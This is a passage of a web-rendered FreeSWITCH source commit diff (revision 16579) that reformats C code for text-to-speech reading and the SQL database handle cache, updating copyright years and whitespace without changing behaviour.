<span class="info">--- freeswitch/trunk/src/switch_core_speech.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_speech.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -121,7 +121,7 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* extract params */
</span><span class="cx">         if (*data == '{') {
</span><span class="cx">                 param_string = data + 1;
</span><span class="lines">@@ -150,10 +150,10 @@
</span><span class="cx"> 
</span><span class="cx">         status = sh-&gt;speech_interface-&gt;speech_feed_tts(sh, data, flags);
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(ltext);
</span><del>-        return status;        
</del><ins>+        return status;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_speech_flush_tts(switch_speech_handle_t *sh)
</span><span class="lines">@@ -192,17 +192,16 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh,
-                                                                                                                        void *data, switch_size_t *datalen, switch_speech_flag_t *flags)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh, void *data, switch_size_t *datalen, switch_speech_flag_t *flags)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_size_t want, orig_len = *datalen;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(sh != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         want = *datalen;
</span><span class="cx"> 
</span><del>- top:
</del><ins>+  top:
</ins><span class="cx"> 
</span><span class="cx">         if (sh-&gt;buffer &amp;&amp; (switch_buffer_inuse(sh-&gt;buffer) &gt;= orig_len || switch_test_flag(sh, SWITCH_SPEECH_FLAG_DONE))) {
</span><span class="cx">                 if ((*datalen = switch_buffer_read(sh-&gt;buffer, data, orig_len))) {
</span><span class="lines">@@ -216,14 +215,14 @@
</span><span class="cx">                 return SWITCH_STATUS_BREAK;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- more:
</del><ins>+  more:
</ins><span class="cx"> 
</span><span class="cx">         if ((status = sh-&gt;speech_interface-&gt;speech_read_tts(sh, data, datalen, flags)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_set_flag(sh, SWITCH_SPEECH_FLAG_DONE);
</span><span class="cx">                 goto top;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sh-&gt;native_rate &amp;&amp; sh-&gt;samplerate &amp;&amp; sh-&gt;native_rate != sh-&gt;samplerate) {
</span><span class="cx">                 if (!sh-&gt;resampler) {
</span><span class="cx">                         if (switch_resample_create(&amp;sh-&gt;resampler,
</span><span class="lines">@@ -239,16 +238,16 @@
</span><span class="cx">                                 int factor = sh-&gt;resampler-&gt;to_len * sh-&gt;samplerate / 1000;
</span><span class="cx">                                 switch_buffer_create_dynamic(&amp;sh-&gt;buffer, factor, factor, 0);
</span><span class="cx">                                 switch_assert(sh-&gt;buffer);
</span><del>-                        }                        
</del><ins>+                        }
</ins><span class="cx">                         if (!sh-&gt;dbuf || sh-&gt;dbuflen &lt; sh-&gt;resampler-&gt;to_len * 2) {
</span><span class="cx">                                 sh-&gt;dbuflen = sh-&gt;resampler-&gt;to_len * 2;
</span><span class="cx">                                 sh-&gt;dbuf = switch_core_alloc(sh-&gt;memory_pool, sh-&gt;dbuflen);
</span><span class="cx">                         }
</span><span class="cx">                         switch_assert(sh-&gt;resampler-&gt;to_len &lt;= sh-&gt;dbuflen);
</span><del>-                
</del><ins>+
</ins><span class="cx">                         memcpy((int16_t *) sh-&gt;dbuf, sh-&gt;resampler-&gt;to, sh-&gt;resampler-&gt;to_len * 2);
</span><span class="cx">                         switch_buffer_write(sh-&gt;buffer, sh-&gt;dbuf, sh-&gt;resampler-&gt;to_len * 2);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_buffer_inuse(sh-&gt;buffer) &lt; want) {
</span><span class="cx">                                 *datalen = want;
</span><span class="cx">                                 goto more;
</span><span class="lines">@@ -270,7 +269,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_speech_close(switch_speech_handle_t *sh, switch_speech_flag_t *flags)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = sh-&gt;speech_interface-&gt;speech_close(sh, flags);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_test_flag(sh, SWITCH_SPEECH_FLAG_OPEN)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -288,7 +287,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_clear_flag(sh, SWITCH_SPEECH_FLAG_OPEN);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_sqldbc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_sqldb.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_sqldb.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_sqldb.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -53,11 +53,11 @@
</span><span class="cx"> /*!
</span><span class="cx">   \brief Open the default system database
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) _switch_core_db_handle(switch_cache_db_handle_t **dbh, const char *file, const char *func, int line)
</del><ins>+SWITCH_DECLARE(switch_status_t) _switch_core_db_handle(switch_cache_db_handle_t ** dbh, const char *file, const char *func, int line)
</ins><span class="cx"> {
</span><span class="cx">         switch_cache_db_connection_options_t options = { {0} };
</span><span class="cx">         switch_status_t r;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(runtime.odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = runtime.odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = runtime.odbc_user;
</span><span class="lines">@@ -87,11 +87,11 @@
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><span class="cx">         int locked = 0;
</span><span class="cx">         char *key;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(sql_manager.dbh_mutex);
</span><del>- top:
</del><ins>+  top:
</ins><span class="cx">         locked = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (hi = switch_hash_first(NULL, sql_manager.dbh_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_hash_this(hi, &amp;var, NULL, &amp;val);
</span><span class="cx">                 key = (char *) var;
</span><span class="lines">@@ -102,7 +102,7 @@
</span><span class="cx">                         if (prune &gt; 0 &amp;&amp; prune &gt; dbh-&gt;last_used) {
</span><span class="cx">                                 diff = (time_t) prune - dbh-&gt;last_used;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (prune &gt; 0 &amp;&amp; diff &lt; SQL_CACHE_TIMEOUT) {
</span><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="lines">@@ -119,7 +119,7 @@
</span><span class="cx">                                 case SCDB_TYPE_CORE_DB:
</span><span class="cx">                                         {
</span><span class="cx">                                                 switch_core_db_close(dbh-&gt;native_handle.core_db_dbh);
</span><del>-                                                dbh-&gt;native_handle.core_db_dbh = NULL;        
</del><ins>+                                                dbh-&gt;native_handle.core_db_dbh = NULL;
</ins><span class="cx">                                         }
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="lines">@@ -128,9 +128,10 @@
</span><span class="cx">                                 switch_mutex_unlock(dbh-&gt;mutex);
</span><span class="cx">                                 switch_core_destroy_memory_pool(&amp;dbh-&gt;pool);
</span><span class="cx">                                 goto top;
</span><del>-        
</del><ins>+
</ins><span class="cx">                         } else {
</span><del>-                                if (!prune) locked++;
</del><ins>+                                if (!prune)
+                                        locked++;
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -144,13 +145,14 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(void) switch_cache_db_flush_handles(void){
</del><ins>+SWITCH_DECLARE(void) switch_cache_db_flush_handles(void)
+{
</ins><span class="cx">         sql_close(switch_epoch_time_now(NULL) + SQL_CACHE_TIMEOUT + 1);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(void) switch_cache_db_release_db_handle(switch_cache_db_handle_t **dbh)
</del><ins>+SWITCH_DECLARE(void) switch_cache_db_release_db_handle(switch_cache_db_handle_t ** dbh)
</ins><span class="cx"> {
</span><span class="cx">         if (dbh &amp;&amp; *dbh) {
</span><span class="cx">                 switch_mutex_unlock((*dbh)-&gt;mutex);
</span><span class="lines">@@ -159,7 +161,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(void) switch_cache_db_destroy_db_handle(switch_cache_db_handle_t **dbh)
</del><ins>+SWITCH_DECLARE(void) switch_cache_db_destroy_db_handle(switch_cache_db_handle_t ** dbh)
</ins><span class="cx"> {
</span><span class="cx">         if (dbh &amp;&amp; *dbh) {
</span><span class="cx">                 switch_mutex_lock(sql_manager.dbh_mutex);
</span><span class="lines">@@ -174,13 +176,13 @@
</span><span class="cx">                 case SCDB_TYPE_CORE_DB:
</span><span class="cx">                         {
</span><span class="cx">                                 switch_core_db_close((*dbh)-&gt;native_handle.core_db_dbh);
</span><del>-                                (*dbh)-&gt;native_handle.core_db_dbh = NULL;                
</del><ins>+                                (*dbh)-&gt;native_handle.core_db_dbh = NULL;
</ins><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
-                switch_core_hash_delete(sql_manager.dbh_hash, (*dbh)-&gt;name);                
</del><ins>+
+                switch_core_hash_delete(sql_manager.dbh_hash, (*dbh)-&gt;name);
</ins><span class="cx">                 switch_mutex_unlock((*dbh)-&gt;mutex);
</span><span class="cx">                 switch_core_destroy_memory_pool(&amp;(*dbh)-&gt;pool);
</span><span class="cx">                 *dbh = NULL;
</span><span class="lines">@@ -197,7 +199,7 @@
</span><span class="cx">         char *key;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><span class="cx"> 
</span><del>-        snprintf(thread_str, sizeof(thread_str) - 1, &quot;%lu&quot;, (unsigned long)(intptr_t)switch_thread_self());
</del><ins>+        snprintf(thread_str, sizeof(thread_str) - 1, &quot;%lu&quot;, (unsigned long) (intptr_t) switch_thread_self());
</ins><span class="cx">         switch_mutex_lock(sql_manager.dbh_mutex);
</span><span class="cx"> 
</span><span class="cx">         for (hi = switch_hash_first(NULL, sql_manager.dbh_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="lines">@@ -206,10 +208,10 @@
</span><span class="cx">                 if ((dbh = (switch_cache_db_handle_t *) val)) {
</span><span class="cx">                         if (switch_mutex_trylock(dbh-&gt;mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 if (strstr(dbh-&gt;name, thread_str)) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG10, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG10,
</ins><span class="cx">                                                                           &quot;Detach cached DB handle %s [%s]\n&quot;, thread_str, switch_cache_db_type_name(dbh-&gt;type));
</span><span class="cx">                                         switch_clear_flag(dbh, CDF_INUSE);
</span><del>-                                } 
</del><ins>+                                }
</ins><span class="cx">                                 switch_mutex_unlock(dbh-&gt;mutex);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -218,10 +220,10 @@
</span><span class="cx">         switch_mutex_unlock(sql_manager.dbh_mutex);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t)_switch_cache_db_get_db_handle(switch_cache_db_handle_t **dbh,
-                                                                                                                          switch_cache_db_handle_type_t type,
-                                                                                                                          switch_cache_db_connection_options_t *connection_options,
-                                                                                                                          const char *file, const char *func, int line)
</del><ins>+SWITCH_DECLARE(switch_status_t) _switch_cache_db_get_db_handle(switch_cache_db_handle_t ** dbh,
+                                                                                                                           switch_cache_db_handle_type_t type,
+                                                                                                                           switch_cache_db_connection_options_t *connection_options,
+                                                                                                                           const char *file, const char *func, int line)
</ins><span class="cx"> {
</span><span class="cx">         switch_thread_id_t self = switch_thread_self();
</span><span class="cx">         char thread_str[CACHE_DB_LEN] = &quot;&quot;;
</span><span class="lines">@@ -256,13 +258,13 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         snprintf(db_str, sizeof(db_str) - 1, &quot;db=\&quot;%s\&quot;;user=\&quot;%s\&quot;;pass=\&quot;%s\&quot;&quot;, db_name, db_user, db_pass);
</span><del>-        snprintf(thread_str, sizeof(thread_str) - 1, &quot;%s;thread=\&quot;%lu\&quot;&quot;, db_str, (unsigned long)(intptr_t)self);
</del><ins>+        snprintf(thread_str, sizeof(thread_str) - 1, &quot;%s;thread=\&quot;%lu\&quot;&quot;, db_str, (unsigned long) (intptr_t) self);
</ins><span class="cx">         snprintf(db_callsite_str, sizeof(db_callsite_str) - 1, &quot;%s:%d&quot;, file, line);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(sql_manager.dbh_mutex);
</span><span class="cx">         if ((new_dbh = switch_core_hash_find(sql_manager.dbh_hash, thread_str))) {
</span><span class="cx">                 switch_set_string(new_dbh-&gt;last_user, db_callsite_str);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
</ins><span class="cx">                                                   &quot;Reuse Cached DB handle %s [%s]\n&quot;, thread_str, switch_cache_db_type_name(new_dbh-&gt;type));
</span><span class="cx">         } else {
</span><span class="cx">                 switch_hash_index_t *hi;
</span><span class="lines">@@ -270,21 +272,21 @@
</span><span class="cx">                 void *val;
</span><span class="cx">                 char *key;
</span><span class="cx">                 unsigned long hash = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 hash = switch_ci_hashfunc_default(db_str, &amp;hlen);
</span><span class="cx"> 
</span><span class="cx">                 for (hi = switch_hash_first(NULL, sql_manager.dbh_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                         switch_hash_this(hi, &amp;var, NULL, &amp;val);
</span><span class="cx">                         key = (char *) var;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((new_dbh = (switch_cache_db_handle_t *) val)) {
</span><del>-                                if (hash == new_dbh-&gt;hash &amp;&amp; !strncasecmp(new_dbh-&gt;name, db_str, strlen(db_str)) &amp;&amp; 
</del><ins>+                                if (hash == new_dbh-&gt;hash &amp;&amp; !strncasecmp(new_dbh-&gt;name, db_str, strlen(db_str)) &amp;&amp;
</ins><span class="cx">                                         !switch_test_flag(new_dbh, CDF_INUSE) &amp;&amp; switch_mutex_trylock(new_dbh-&gt;mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_set_flag(new_dbh, CDF_INUSE);
</span><span class="cx">                                         switch_set_string(new_dbh-&gt;name, thread_str);
</span><span class="cx">                                         new_dbh-&gt;hash = switch_ci_hashfunc_default(db_str, &amp;hlen);
</span><span class="cx">                                         switch_set_string(new_dbh-&gt;last_user, db_callsite_str);
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
</ins><span class="cx">                                                                           &quot;Reuse Unused Cached DB handle %s [%s]\n&quot;, thread_str, switch_cache_db_type_name(new_dbh-&gt;type));
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="lines">@@ -307,15 +309,14 @@
</span><span class="cx">                                         goto end;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                                if ((odbc_dbh = switch_odbc_handle_new(connection_options-&gt;odbc_options.dsn, 
-                                                                                                           connection_options-&gt;odbc_options.user,
-                                                                                                           connection_options-&gt;odbc_options.pass))) {
</del><ins>+                                if ((odbc_dbh = switch_odbc_handle_new(connection_options-&gt;odbc_options.dsn,
+                                                                                                           connection_options-&gt;odbc_options.user, connection_options-&gt;odbc_options.pass))) {
</ins><span class="cx">                                         if (switch_odbc_handle_connect(odbc_dbh) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_odbc_handle_destroy(&amp;odbc_dbh);
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="cx">                 case SCDB_TYPE_CORE_DB:
</span><span class="lines">@@ -333,7 +334,7 @@
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
</ins><span class="cx">                                                   &quot;Create Cached DB handle %s [%s]\n&quot;, thread_str, switch_cache_db_type_name(type));
</span><span class="cx"> 
</span><span class="cx">                 switch_core_new_memory_pool(&amp;pool);
</span><span class="lines">@@ -345,7 +346,10 @@
</span><span class="cx">                 new_dbh-&gt;hash = switch_ci_hashfunc_default(db_str, &amp;hlen);
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-                if (db) new_dbh-&gt;native_handle.core_db_dbh = db; else new_dbh-&gt;native_handle.odbc_dbh = odbc_dbh;
</del><ins>+                if (db)
+                        new_dbh-&gt;native_handle.core_db_dbh = db;
+                else
+                        new_dbh-&gt;native_handle.odbc_dbh = odbc_dbh;
</ins><span class="cx">                 switch_mutex_init(&amp;new_dbh-&gt;mutex, SWITCH_MUTEX_UNNESTED, new_dbh-&gt;pool);
</span><span class="cx">                 switch_set_string(new_dbh-&gt;creator, db_callsite_str);
</span><span class="cx">                 switch_mutex_lock(new_dbh-&gt;mutex);
</span><span class="lines">@@ -353,9 +357,10 @@
</span><span class="cx">                 switch_core_hash_insert(sql_manager.dbh_hash, new_dbh-&gt;name, new_dbh);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><del>-        if (new_dbh) new_dbh-&gt;last_used = switch_epoch_time_now(NULL);
</del><ins>+        if (new_dbh)
+                new_dbh-&gt;last_used = switch_epoch_time_now(NULL);
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(sql_manager.dbh_mutex);
</span><span class="cx"> 
</span><span class="lines">@@ -374,8 +379,9 @@
</span><span class="cx">                 switch_mutex_lock(dbh-&gt;io_mutex);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (err) *err = NULL;
-        
</del><ins>+        if (err)
+                *err = NULL;
+
</ins><span class="cx">         switch (dbh-&gt;type) {
</span><span class="cx">         case SCDB_TYPE_ODBC:
</span><span class="cx">                 {
</span><span class="lines">@@ -408,7 +414,7 @@
</span><span class="cx">         if (dbh-&gt;io_mutex) {
</span><span class="cx">                 switch_mutex_unlock(dbh-&gt;io_mutex);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -424,7 +430,8 @@
</span><span class="cx"> 
</span><span class="cx">         switch_assert(chunk_size);
</span><span class="cx"> 
</span><del>-        if (err) *err = NULL;
</del><ins>+        if (err)
+                *err = NULL;
</ins><span class="cx"> 
</span><span class="cx">         len = strlen(sql);
</span><span class="cx"> 
</span><span class="lines">@@ -435,38 +442,39 @@
</span><span class="cx">         if (!(chunk_count = strlen(sql) / chunk_size)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         e = end_of_p(sql);
</span><span class="cx">         s = sql;
</span><span class="cx"> 
</span><del>-        while(s &amp;&amp; s &lt; e) {
</del><ins>+        while (s &amp;&amp; s &lt; e) {
</ins><span class="cx">                 p = s + chunk_size;
</span><span class="cx"> 
</span><span class="cx">                 if (p &gt; e) {
</span><span class="cx">                         p = e;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 while (p &gt; s) {
</span><del>-                        if (*p == '\n' &amp;&amp; *(p-1) == ';') {
</del><ins>+                        if (*p == '\n' &amp;&amp; *(p - 1) == ';') {
</ins><span class="cx">                                 *p = '\0';
</span><del>-                                *(p-1) = '\0';
</del><ins>+                                *(p - 1) = '\0';
</ins><span class="cx">                                 p++;
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         p--;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if (p &lt;= s) break;
-                
-                
</del><ins>+                if (p &lt;= s)
+                        break;
+
+
</ins><span class="cx">                 status = switch_cache_db_execute_sql_real(dbh, s, err);
</span><span class="cx">                 if (status != SWITCH_STATUS_SUCCESS || (err &amp;&amp; *err)) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 s = p;
</span><del>-        
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="lines">@@ -485,7 +493,7 @@
</span><span class="cx">         switch (dbh-&gt;type) {
</span><span class="cx">         default:
</span><span class="cx">                 {
</span><del>-                        status = switch_cache_db_execute_sql_chunked(dbh, (char *)sql, 32768, err);
</del><ins>+                        status = switch_cache_db_execute_sql_chunked(dbh, (char *) sql, 32768, err);
</ins><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="lines">@@ -512,7 +520,7 @@
</span><span class="cx">         case SCDB_TYPE_CORE_DB:
</span><span class="cx">                 {
</span><span class="cx">                         switch_core_db_stmt_t *stmt;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_core_db_prepare(dbh-&gt;native_handle.core_db_dbh, sql, -1, &amp;stmt, 0)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Statement Error [%s]!\n&quot;, sql);
</span><span class="cx">                                 return NULL;
</span><span class="lines">@@ -523,7 +531,7 @@
</span><span class="cx">                                 while (running &lt; 5000) {
</span><span class="cx">                                         int result = switch_core_db_step(stmt);
</span><span class="cx">                                         const unsigned char *txt;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (result == SWITCH_CORE_DB_ROW) {
</span><span class="cx">                                                 if ((colcount = switch_core_db_column_count(stmt)) &gt; 0) {
</span><span class="cx">                                                         if ((txt = switch_core_db_column_text(stmt, 0))) {
</span><span class="lines">@@ -541,7 +549,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_db_finalize(stmt);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -553,7 +561,7 @@
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (dbh-&gt;io_mutex) {
</span><span class="cx">                 switch_mutex_unlock(dbh-&gt;io_mutex);
</span><span class="lines">@@ -610,7 +618,7 @@
</span><span class="cx">         uint8_t forever = 0;
</span><span class="cx">         unsigned begin_retries = 100;
</span><span class="cx">         uint8_t again = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!retries) {
</span><span class="cx">                 forever = 1;
</span><span class="cx">                 retries = 1000;
</span><span class="lines">@@ -620,12 +628,12 @@
</span><span class="cx">                 switch_mutex_lock(dbh-&gt;io_mutex);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-again:
</del><ins>+  again:
</ins><span class="cx"> 
</span><span class="cx">         while (begin_retries &gt; 0) {
</span><span class="cx">                 again = 0;
</span><span class="cx"> 
</span><del>-                switch_cache_db_execute_sql_real(dbh,  &quot;BEGIN&quot;, &amp;errmsg);
</del><ins>+                switch_cache_db_execute_sql_real(dbh, &quot;BEGIN&quot;, &amp;errmsg);
</ins><span class="cx"> 
</span><span class="cx">                 if (errmsg) {
</span><span class="cx">                         begin_retries--;
</span><span class="lines">@@ -674,9 +682,9 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><del>-        switch_cache_db_execute_sql_real(dbh,  &quot;COMMIT&quot;, NULL);
</del><ins>+        switch_cache_db_execute_sql_real(dbh, &quot;COMMIT&quot;, NULL);
</ins><span class="cx"> 
</span><span class="cx">         if (dbh-&gt;io_mutex) {
</span><span class="cx">                 switch_mutex_unlock(dbh-&gt;io_mutex);
</span><span class="lines">@@ -686,14 +694,14 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql_callback(switch_cache_db_handle_t *dbh, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql_callback(switch_cache_db_handle_t *dbh,
</ins><span class="cx">                                                                                                                                          const char *sql, switch_core_db_callback_func_t callback, void *pdata, char **err)
</span><del>-        
</del><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         char *errmsg = NULL;
</span><span class="cx"> 
</span><del>-        if (err) *err = NULL;
</del><ins>+        if (err)
+                *err = NULL;
</ins><span class="cx"> 
</span><span class="cx">         if (dbh-&gt;io_mutex) {
</span><span class="cx">                 switch_mutex_lock(dbh-&gt;io_mutex);
</span><span class="lines">@@ -709,7 +717,7 @@
</span><span class="cx">         case SCDB_TYPE_CORE_DB:
</span><span class="cx">                 {
</span><span class="cx">                         status = switch_core_db_exec(dbh-&gt;native_handle.core_db_dbh, sql, callback, pdata, &amp;errmsg);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (errmsg) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;SQL ERR: [%s] %s\n&quot;, sql, errmsg);
</span><span class="cx">                                 free(errmsg);
</span><span class="lines">@@ -717,7 +725,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (dbh-&gt;io_mutex) {
</span><span class="cx">                 switch_mutex_unlock(dbh-&gt;io_mutex);
</span><span class="cx">         }
</span><span class="lines">@@ -725,7 +733,7 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_bool_t) switch_cache_db_test_reactive(switch_cache_db_handle_t *dbh, 
</del><ins>+SWITCH_DECLARE(switch_bool_t) switch_cache_db_test_reactive(switch_cache_db_handle_t *dbh,
</ins><span class="cx">                                                                                                                         const char *test_sql, const char *drop_sql, const char *reactive_sql)
</span><span class="cx"> {
</span><span class="cx">         char *errmsg;
</span><span class="lines">@@ -788,7 +796,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> #define SQLLEN 1024 * 1024
</span><del>-static void *SWITCH_THREAD_FUNC switch_core_sql_thread(switch_thread_t * thread, void *obj)
</del><ins>+static void *SWITCH_THREAD_FUNC switch_core_sql_thread(switch_thread_t *thread, void *obj)
</ins><span class="cx"> {
</span><span class="cx">         void *pop;
</span><span class="cx">         uint32_t itterations = 0;
</span><span class="lines">@@ -814,7 +822,7 @@
</span><span class="cx"> 
</span><span class="cx">         sql_manager.thread_running = 1;
</span><span class="cx"> 
</span><del>-        while(sql_manager.thread_running == 1) {
</del><ins>+        while (sql_manager.thread_running == 1) {
</ins><span class="cx">                 if (++loops == l1) {
</span><span class="cx">                         if (++sec == SQL_CACHE_TIMEOUT) {
</span><span class="cx">                                 sql_close(switch_epoch_time_now(NULL));
</span><span class="lines">@@ -822,13 +830,13 @@
</span><span class="cx">                         }
</span><span class="cx">                         loops = 0;
